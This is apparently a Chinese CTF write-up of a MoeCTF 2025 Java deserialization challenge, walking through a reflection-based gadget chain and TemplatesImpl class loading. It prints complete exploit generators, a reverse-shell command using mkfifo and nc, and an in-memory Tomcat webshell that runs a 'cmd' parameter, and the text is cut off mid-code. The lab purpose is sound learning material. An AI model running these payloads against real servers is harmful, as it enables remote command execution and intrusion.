MoeCTF-2025-WEB-第二十三章 幻境迷心·皇陨星沉(大结局)

MoeCTF的这个Java题也终于复现完了,单独补一下,也是第一个做的Java题目吧,算是很简单的了吧

复现环境:https://ctf.xidian.edu.cn/training/22?challenge=944

源码地址:https://github.com/XDSEC/MoeCTF_2025/tree/main/challenges/Web/%E9%99%84%E5%8A%A0%E6%8C%91%E6%88%98

官方WP:https://github.com/XDSEC/MoeCTF_2025/blob/main/official_writeups/Web/Writeup.md

可以看另一个文章笔记来将附件 jar 包导入到 IDEA 中:

https://yschen20.github.io/2025/12/14/%E5%9C%A8IDEA%E4%BD%BF%E7%94%A8CTF%E4%B8%ADJava%E9%A2%98%E7%9A%84jar%E5%8C%85/

逻辑图

跟着WP总结了下这题链子的逻辑图,差不多有四种解题方法吧

image-20260205143308085

常规做法

分析链子

第一点

审一下源码,在DogModel接口中可以找到利用点:

image-20260204105919771

1
2
3
4
5
6
7
8
9
10
default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(methodName, paramTypes);
return method.invoke(input, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

DogModel接口中有wagTail()方法,其逻辑就是一个标准的 Java 反射调用,就可以反射调用到Runtime类的getRuntime()exec()方法进行RCE了

这就类似于CC1链中的InvokerTransformer.transform()方法

第二点

然后就是要找如何触发wagTail()这个函数了,右击wagTail()函数,查看用法,可以看到在Dog.hashCode()DogService.chainWagTail()中调用了这个函数

image-20260204110020022

先看Dog.hashCode()

image-20260204110121852

1
2
3
4
public int hashCode() {
wagTail(this.object, this.methodName, this.paramTypes, this.args);
return Objects.hash(new Object[] { Integer.valueOf(this.id) });
}

每次调用一个Dog对象的hashCode()方法计算哈希码之前,都会调用到wagTail()方法,这就可以自动触发到wagTail()

第三点

要想进行 RCE,就需要先获取到方法,然后再调用方法,调用一次Dog.hashCode()只能执行一次wagTail(),是无法成功RCE的,所以就需要多次调用,这就要去看另一个调用到wagTail()的地方了

DogService.chainWagTail()中也有调用到wagTail()方法:

image-20260204110425040

1
2
3
4
5
6
7
8
9
10
public Object chainWagTail() {
Object input = null;
for (Dog dog : this.dogs.values()) {
if (input == null)
input = dog.object;
Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
input = result;
}
return input;
}

这个方法可以按顺序执行多个Dog对象的wagTail方法,形成链式调用,将前一个的输出作为后一个的输入,就可以执行多步操作了

这个方法和CC1链中的ChainedTransformer.transform()差不多

至于怎么调用到这个方法,这就可以用到wagTail()方法进行反射调用

第四点

最后就是整个链子的开头入口点,在DogService.importDogsBase64()中可以找到执行了ObjectInputStream.readObject()方法,是典型的 Java 反序列化的入口:

1
2
3
4
5
6
7
8
9
10
11
12
public void importDogsBase64(String base64Data) {
try(ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
ObjectInputStream ois = new ObjectInputStream(bais)) {
Collection<Dog> imported = (Collection<Dog>)ois.readObject();
for (Dog dog : imported) {
dog.setId(this.nextId++);
this.dogs.put(Integer.valueOf(dog.getId()), dog);
}
} catch (IOException|ClassNotFoundException e) {
e.printStackTrace();
}
}

importDogsBase64()这个方法会接收一串经过base64编码后的数据,先对其进行解码,然后反序列化出 Dog 集合,为每个 Dog 对象重新分配 ID 后存入本地的 dogs 集合中

dogs是在DogService中定义的:

image-20260122194129491

看到了HashMap就很容易构造了,学过 URLDNS 链就知道可以,在HashMap.hash()函数中会调用到传入keyhashCode()函数

image-20260122203123043

所以只要将一个 Dog 对象作为key传入即可,这就可以利用HashMap.put()函数实现

image-20260122203314858

HashMap.readObject()方法中会自动调用到hash()函数

image-20260122203852708

至此整个链子就分析好了

DogController类中可以看到,在/dogs/import路由中会调用到这个方法,可以利用 POST 方法将构造好的payload传给data参数:

1
2
3
4
5
6
7
8
9
@RequestMapping({"/dogs"})
public class DogController {
......
@PostMapping({"/import"})
public String importDogs(@RequestParam("data") String base64Data) {
this.dogService.importDogsBase64(base64Data);
return "导入成功!";
}
}

构造EXP

因为要传入的是经过base64编码后的序列化字符串,所以可以先把序列化函数写好:

1
2
3
4
5
6
7
8
public static String serializeBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}

可以加个能base64解码和反序列化的函数来本地测试一下:

1
2
3
4
5
6
7
public static Object unserializeBase64(String base64Data) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64Data);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}

首先是要创建好 Dog 对象,因为要想执行Runtime.getRuntime().exec("command")需要三个步骤,并且还要调用一次chainWagTail()方法,一共就需要调用四次wagTail()方法,所以就需要四个 Dog 对象,这就要重复写一些像利用反射设置对象的私有字段的代码,就很繁琐,因此就可以将其写到一个函数里,在主函数调用创建更方便

写一个setField()方法来设置反射字段:

1
2
3
4
5
public static void setField(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

接着是创建 Dog 对象,看一下 Dog 的构造方法:

image-20260204113604790

要传入四个参数:idnamebreedint,并且还有四个属性

再看一下wagTail()方法接收的参数,正好是接收这四个属性

image-20260204113246542

所以可以写一个createDog()方法来创建 Dog 对象,接收的参数就是wagTail()接收的参数,在这个方法里调用刚才写的setField()方法对四个属性进行设置

1
2
3
4
5
6
7
8
public static Dog createDog(Object object,String methodName,Class[] paramTypes,Object[] args) throws  Exception{
Dog dog = new Dog(1,"dog","dog",1);
setField(dog,"object",object);
setField(dog,"methodName",methodName);
setField(dog,"paramTypes",paramTypes);
setField(dog,"args",args);
return dog;
}

然后就可以在main函数中创建反射执行命令需要的三个 Dog 对象了,构造逻辑链

1
2
3
4
5
6
7
8
9
// 要执行的命令
String command = "calc";
// 构造链式调用
// 第一步:获取 getRuntime 方法对象
Dog dog1 = createDog(Runtime.class, "getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null});
// 第二步:执行 getRuntime().invoke(null) 获取 Runtime 实例
Dog dog2 = createDog(dog1, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
// 第三步:执行 Runtime.exec(command)
Dog dog3 = createDog(dog2, "exec", new Class[]{String.class}, new Object[]{command});

然后将这三个 Dog 对象利用反射和HashMap.put()方法传入到DogService类中的dogs Map 容器中进而可以链式调用:

1
2
3
4
5
6
7
8
9
10
// 构造 DogService 对象,填充逻辑链
DogService dogService = new DogService();
// 反射获取 dogs 字段
Field dogsField = DogService.class.getDeclaredField("dogs");
dogsField.setAccessible(true);
Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
// 依次放入 Map,chainWagTail 会按顺序遍历并传递 result
dogs.put(1, dog1);
dogs.put(2, dog2);
dogs.put(3, dog3);

然后是构造触发点,再创建一个 Dog 对象dog4,利用dog4.hashCode去调用dogService.chainWagTail()

1
Dog dog4 = createDog(dogService, "chainWagTail", null, null);

最后就是构造 HashMap 来触发hashCode()了:

1
2
3
// 触发触发点
Map<Object, Object> hashMap = new HashMap();
hashMap.put(dog4, "value");

再进行序列化和反序列化生成payload:

1
2
3
4
// 生成payload
String payload = serializeBase64(hashMap);
System.out.println(payload);
unserializeBase64(payload);

运行会弹俩次计算器,序列化的时候一个,反序列化一个

image-20260204125312100

可以先不把chainWagTaildog4,后面反射修改回来:

1
2
3
4
5
6
7
8
// 构造触发点
Dog dog4 = createDog(dogService, "aaa", null, null);

// 触发触发点
Map<Object, Object> hashMap = new HashMap();
hashMap.put(dog4, "value");

setField(dog4, "methodName", "chainWagTail");

image-20260204132953730

再运行就只弹一次计算器了:

image-20260204133103070

还有一个就是要用反弹shell的命令的时候,下面这两个地方都要写成数组形式

image-20260204155029949

逻辑图

image-20260204135708915

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.example.demo.Dog.Dog;
import com.example.demo.Dog.DogService;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class Exp1{
// 序列化并Base64编码
public static String serializeBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
// Base64解码并反序列化
public static Object unserializeBase64(String base64Data) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64Data);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
// 反射设置字段值
public static void setField(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
// 创建Dog对象
public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception{
Dog dog = new Dog(1, "dog", "dog", 1);
setField(dog, "object", object);
setField(dog, "methodName", methodName);
setField(dog, "paramTypes", paramTypes);
setField(dog, "args", args);
return dog;
}

public static void main(String[] args) throws Exception{
// 要执行的命令
// String command = "calc";
String[] command = new String[] {
"/bin/sh",
"-c",
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 2333 >/tmp/f"
};
// 构造链式调用
// 第一步:获取 getRuntime 方法对象
Dog dog1 = createDog(Runtime.class, "getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null});
// 第二步:执行 getRuntime().invoke(null) 获取 Runtime 实例
Dog dog2 = createDog(dog1, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
// 第三步:执行 Runtime.exec(command)
Dog dog3 = createDog(dog2, "exec", new Class[]{String[].class}, new Object[]{command});

// 构造 DogService 对象,填充逻辑链
DogService dogService = new DogService();
// 反射获取 dogs 字段
Field dogsField = DogService.class.getDeclaredField("dogs");
dogsField.setAccessible(true);
Map<Integer, Dog> dogs = (Map<Integer, Dog>) dogsField.get(dogService);
// 依次放入 Map,chainWagTail 会按顺序遍历并传递 result
dogs.put(1, dog1);
dogs.put(2, dog2);
dogs.put(3, dog3);

// 构造触发点
Dog dog4 = createDog(dogService, "aaa", null, null);

// 触发触发点
Map<Object, Object> hashMap = new HashMap();
hashMap.put(dog4, "value");

setField(dog4, "methodName", "chainWagTail");

// 生成payload
String payload = serializeBase64(hashMap);
System.out.println(payload);
unserializeBase64(payload);
}
}

用bp发包,要 URL 编码一下

image-20260204154735768

会报500

image-20260204154912254

不过还是可以弹成功的

image-20260204154944052

TemplatesImpl动态类加载

分析链子

这题还可以利用类加载来做,可以利用wagTail()去反射调用到TemplatesImpl#newTransformer,然后就是像CC3链后面一样动态加载恶意类执行代码了:

CC3链代码实现:https://yschen20.github.io/2026/01/28/CC3%E9%93%BE/#%E5%AE%8C%E6%95%B4%E4%BB%A3%E7%A0%81

前面的就不用那么繁琐了,只要一个 Dog 对象dog就好了,直接用dog.hashCode触发wagTail方法就行了

构造EXP

先把之前构造好的一些函数拿来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 序列化并Base64编码
public static String serializeBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
// Base64解码并反序列化
public static Object unserializeBase64(String base64Data) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64Data);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
// 反射设置字段值
public static void setField(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
// 创建Dog对象
public static Dog createDog(Object object, String methodName, Class[] paramTypes, Object[] args) throws Exception{
Dog dog = new Dog(1, "dog", "dog", 1);
setField(dog, "object", object);
setField(dog, "methodName", methodName);
setField(dog, "paramTypes", paramTypes);
setField(dog, "args", args);
return dog;
}

然后是main的,后面的直接把CC3的复制粘贴过来用,再用上写好的setField方法

1
2
3
4
5
6
7
// 利用TemplatesImpl进行动态类加载
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
setField(templates, "_name", "CC3");
setField(templates, "_bytecodes", codes);
setField(templates, "_tfactory", new TransformerFactoryImpl());

这里加载的E:/tmp/Calc.class就按照CC3里的做法:

先写一个恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

编译为 class 文件

1
javac Calc.java

或者直接在IDEA中点一下小锤子

image-20260204142351811

放到E:\tmp\目录下来测试

image-20260204142512159

然后创建一个 Dog 对象

1
Dog dog = createDog(templates, "newTransformer", null, null);

然后就是开头的 HashMap

1
2
HashMap<Object, Object> hashMap = new HashMap();
hashMap.put(dog, "value");

最后序列化和反序列化就行

1
2
3
String payload = serializeBase64(hashMap);
System.out.println(payload);
unserializeBase64(payload);

运行没问题

image-20260204143649030

然后是反弹shell,准备个Shell.class,和Calc.class一样的做法,代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Shell extends AbstractTranslet {
static {
try {
String[] command = new String[] {
"/bin/sh",
"-c",
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 2333 >/tmp/f"
};
Runtime.getRuntime().exec(command);
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

然后发现好像有个问题,就是弹不了shell,然后试试不用createDog函数来创建 Dog 对象,在HashMap.put后利用反射给dog设置字段值就可以了

1
2
3
4
5
6
7
8
9
Dog dog = new Dog(1,"dog","dog",1);

HashMap<Object, Object> hashMap = new HashMap();
hashMap.put(dog, null);

setField(dog, "object", templates);
setField(dog, "methodName", "newTransformer");
setField(dog, "paramTypes", null);
setField(dog, "args", null);

image-20260204160540363

image-20260204164319941

逻辑图

image-20260205141925939

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.example.demo.Dog.Dog;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Exp2 {
// 序列化并Base64编码
public static String serializeBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
// Base64解码并反序列化
public static Object unserializeBase64(String base64Data) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64Data);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
// 反射设置字段值
public static void setField(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
// 利用TemplatesImpl进行动态类加载
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Shell.class"));
byte[][] codes = {code};
setField(templates, "_name", "CC3");
setField(templates, "_bytecodes", codes);
setField(templates, "_tfactory", new TransformerFactoryImpl());

Dog dog = new Dog(1,"dog","dog",1);

HashMap<Object, Object> hashMap = new HashMap();
hashMap.put(dog, null);

setField(dog, "object", templates);
setField(dog, "methodName", "newTransformer");
setField(dog, "paramTypes", null);
setField(dog, "args", null);

String payload = serializeBase64(hashMap);
System.out.println(payload);
unserializeBase64(payload);
}
}

还有要加载的恶意类Shell.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Shell extends AbstractTranslet {
static {
try {
String[] command = new String[] {
"/bin/sh",
"-c",
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 2333 >/tmp/f"
};
Runtime.getRuntime().exec(command);
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

ThreadLocal回显

官方WP给的可以用ThreadLocal来进行回显,Inject_ThreadLocal.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class Inject_ThreadLocal extends AbstractTranslet {

static {
try {

//反射获取所需属性
java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}

if (lastServicedRequestField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null) == null) {
lastServicedResponseField.set(null, new ThreadLocal<>());
}
ServletRequest servletRequest=null;
if(lastServicedRequestField.get(null)!=null) {

ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
servletRequest = (ServletRequest) threadLocal.get();
}

//获取response变量
if (lastServicedResponseField.get(null) != null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
ServletResponse servletResponse = (ServletResponse) threadLocal.get();
PrintWriter writer = servletResponse.getWriter();
Scanner scanner = new Scanner(Runtime.getRuntime().exec(servletRequest.getParameter("cmd")).getInputStream()).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

这个和之前的 Calc 和 Shell 一样是用来加载的恶意类,但是这个类引用了 Tomcat 服务器和 Java Web 标准库中的类,要想成功编译,就要先把环境配置一下

插一句:如果不想配这个环境,下面的补充有无依赖全反射的版本代码

需要catalina.jarservlet-api.jar这两个JAR包,如果本地搭了 Tomcat 的服务,可以去 Tomcat 的安装目录下的lib目录下找到这俩包,刚好我才搭的

image-20260204200501209

Tomcat下载地址:https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.81/bin/

image-20260204200655690

上面的是源码包,不想搭 Tomcat 服务的可以直接在里面找到,下面的exe是安装程序,搭服务更方便,后续Shiro的时候也要搭,搭好后就去安装目录下能找到

找到后直接把这俩包复制粘贴到当前项目的lib目录下

image-20260204201536416

然后去当前项目的根目录,或者直接在IDEA里打开终端,运行下面的命令进行编译:

1
javac -encoding UTF-8 -cp ".;lib/*" src/main/java/Inject_ThreadLocal.java

会有些警告,但是没关系,没有错误就行,可以编译成功

image-20260204204614355

然后把编译好的 class 文件复制粘贴到E:\tmp\测试目录下

image-20260204202001894

然后就用前面写好的动态类加载的EXP来加载这个 class 文件,把路径改一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import com.example.demo.Dog.Dog;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Exp2 {
// 序列化并Base64编码
public static String serializeBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
// Base64解码并反序列化
public static Object unserializeBase64(String base64Data) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64Data);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
// 反射设置字段值
public static void setField(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
// 利用TemplatesImpl进行动态类加载
TemplatesImpl templates = new TemplatesImpl();
byte[] code1 = Files.readAllBytes(Paths.get("E:/tmp/Shell.class"));
byte[] code2 = Files.readAllBytes(Paths.get("E:/tmp/Inject_ThreadLocal.class"));
byte[][] codes = {code2};
setField(templates, "_name", "CC3");
setField(templates, "_bytecodes", codes);
setField(templates, "_tfactory", new TransformerFactoryImpl());

Dog dog = new Dog(1,"dog","dog",1);

HashMap<Object, Object> hashMap = new HashMap();
hashMap.put(dog, null);

setField(dog, "object", templates);
setField(dog, "methodName", "newTransformer");
setField(dog, "paramTypes", null);
setField(dog, "args", null);

String payload = serializeBase64(hashMap);
System.out.println(payload);
unserializeBase64(payload);
}
}

然后用法就是先 URL 编码后请求一次,会报500,但没事

image-20260204210102730

然后带上 GET 参数cmd就可以执行命令了,注意payload也要带上

image-20260204210701099

不带payload是不行的:

image-20260204210827383

补充(无依赖全反射版本)

AI一下,改了改Inject_ThreadLocal.java,改成不用导入包的,使用全反射编写回显内存马,可以直接编码的

Inject_ThreadLocal_Pro.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Inject_ThreadLocal_Pro extends AbstractTranslet {
static {
try {
// 通过反射获取类,避免编译时依赖
Class applicationFilterChainCls = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field lastServicedRequestField = applicationFilterChainCls.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = applicationFilterChainCls.getDeclaredField("lastServicedResponse");

lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

// 初始化 ThreadLocal
if (lastServicedRequestField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal());
}
if (lastServicedResponseField.get(null) == null) {
lastServicedResponseField.set(null, new ThreadLocal());
}

// 获取 Request 和 Response 对象
ThreadLocal requestThreadLocal = (ThreadLocal) lastServicedRequestField.get(null);
ThreadLocal responseThreadLocal = (ThreadLocal) lastServicedResponseField.get(null);

Object request = requestThreadLocal.get();
Object response = responseThreadLocal.get();

if (request != null && response != null) {
// 通过反射调用 getParameter("cmd")
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, "cmd");
if (cmd != null && !cmd.isEmpty()) {
// 执行命令
byte[] bytes = new byte[1024];
int len = Runtime.getRuntime().exec(cmd).getInputStream().read(bytes);

// 获取 Writer 并回显
Object writer = response.getClass().getMethod("getWriter").invoke(response);
writer.getClass().getMethod("write", String.class).invoke(writer, new String(bytes, 0, len));
writer.getClass().getMethod("flush").invoke(writer);
}
}
} catch (Exception e) {}
}

@Override
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
@Override
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}

直接可以编码:

1
javac -encoding UTF-8 Inject_ThreadLocal_Pro.java

image-20260204211653718

EXP加载恶意类路径改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.example.demo.Dog.Dog;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Exp2 {
// 序列化并Base64编码
public static String serializeBase64(Object obj) throws Exception {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
// Base64解码并反序列化
public static Object unserializeBase64(String base64Data) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64Data);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
// 反射设置字段值
public static void setField(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
// 利用TemplatesImpl进行动态类加载
TemplatesImpl templates = new TemplatesImpl();
byte[] code1 = Files.readAllBytes(Paths.get("E:/tmp/Shell.class"));
byte[] code2 = Files.readAllBytes(Paths.get("E:/tmp/Inject_ThreadLocal.class"));
byte[] code3 = Files.readAllBytes(Paths.get("E:/tmp/Inject_ThreadLocal_Pro.class"));
byte[][] codes = {code3};
setField(templates, "_name", "CC3");
